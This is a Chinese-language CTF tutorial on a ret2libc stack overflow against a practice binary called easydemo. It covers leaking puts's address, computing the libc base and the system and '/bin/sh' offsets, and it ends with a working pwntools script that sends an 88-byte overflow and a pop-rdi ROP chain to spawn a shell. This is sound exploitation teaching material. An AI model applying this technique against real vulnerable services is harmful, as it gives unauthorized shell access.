先来看下本次学习的文件:
easydemo是本次学习的ELF文件;
ld-linux-x86-64.so.2是一个动态链接器,它的意义是确保程序依赖的libc.so.6这样的库被正确地加载到内存中
libc.so.6是一个Linux中的基本库,其类似于C语言中的头文件stdio.h,但其重要性比stdio.h更强
为什么这样做?
在有些程序中,虽然它是动态编译,但是它所依赖的库也自己打包带走了,在使用时使用自带的库而不是所处系统的库,依次来保证程序与运行的可行性;这样的意义对单个程序来说不大,但对于同一开发者的一套程序来说,相较于静态编译省下了很大一部分空间
根据做PWN题的基本思路,我们来检查一下保护程序的情况:
可以看到这里有一个runpath,即运行路径;程序默认调用的库时所处系统的libc库,这里我们需要通过指令将其更改为我们目录下的文件
执行:
patchelf easydemo --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath .
注意,这里需要ld-linux-x86-64.so.2和libc.so.6均具有可执行权限
rpath是指定的文件夹路径
判断libc的版本:
执行:strings libc.so.6 | grep version
这里是2.26版的libc(较老,以2.28版本为界)
接下来我们用IDA来看一下easydemo:
注意到:
这条语句的含义是给出了所用的puts函数的内存地址,这里的意义是?
ret2libc的原理:
我们可以看到,puts函数是经由libc库动态加载的,而且很明显的函数列表中没有system这样的函数,我们就想到能不能去libc库里面找,因为里面包有的,但是问题在于,虽然程序本身没有开PIE保护,地址是固定的,但是libc库的地址是随机的,在IDA中看到的只是相对位置,但是如果我们知道其中某个函数的绝对地址,我们就可以推算其它函数的绝对地址。
关于内存布局:
可以从这里看到我们的库的路径已经成功修改
我们对这样一个内存布局进行分析:
这一块内存是存放程序的一些表的空间,比如之前提到的.bss表
这一段就是存放堆的内存
这一段是程序需要加载的各种库的内存,其中anon与匿名函数有关
这一段就是栈
这一块用于存放vsyscall页,它的存在使得频繁的系统调用更高效
所有的标准的地址都是物理地址映射出来的虚拟地址
我们要通过puts函数的地址去得到system函数的地址
去IDA里面查看我们的libc:
puts函数的地址(相对):0x78460
system函数的地址(相对):0x47dc0
"bin_sh"的地址(相对):0x1a3ee0
由于puts函数每次加载的地址不同,我们需要动态地进行获取
这里需要使用之前用过的recvuntil方法
sh.recvuntil(b': ')
puts_addr = int(sh.recvuntil(b'\n').replace(b'\n', b''), 16)
log.success("puts_addr: " + hex(puts_addr))
截取成功
这里说一下截取:
这里的两个recvuntil相当于切两刀,第一个recvuntil在:[空格]的后面切了一刀,第二个recvuntil在\n后面切了一刀,此时若令puts_addr等于第二个recvuntil方法的返回值,那么puts_addr的值就会被赋为这两刀之间的内容(带\n),用replace方法将\n抹除,用int方法将得到的字符串转换为16进制整型数据(单个recvuntil是截不到的)
通过puts函数的相对地址推算libc库的基地址:
&puts - puts函数的相对地址 = libc库的基地址
libc库的地址回显如果是000结尾的基本就是对的(对齐)
再根据libc的基地址推算system函数的绝对地址
在libc中找一个rdi的gadget:
结合上面IDA找到的综合编写脚本如下:
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
sh = process('./easydemo')
# gdb.attach(sh, gdbscript="", gdb_args=['-q', '-ex', 'init-pwndbg'])
sh.recvuntil(b': ')
puts_addr = int(sh.recvuntil(b'\n').replace(b'\n', b''), 16)
log.success("puts_addr: " + hex(puts_addr))
libc_base_addr = puts_addr - 0x78460
log.success("libc_base_addr: " + hex(libc_base_addr))
pop_rdi = libc_base_addr + 0x20b8b
bin_sh = libc_base_addr + 0x1a3ee0
sh.sendline(b'A'*88 + p64(pop_rdi) + p64(bin_sh) + p64(libc_base_addr + 0x47dc0))
log.success("Got shell!")
# Write your own code here
sh.interactive()
拿下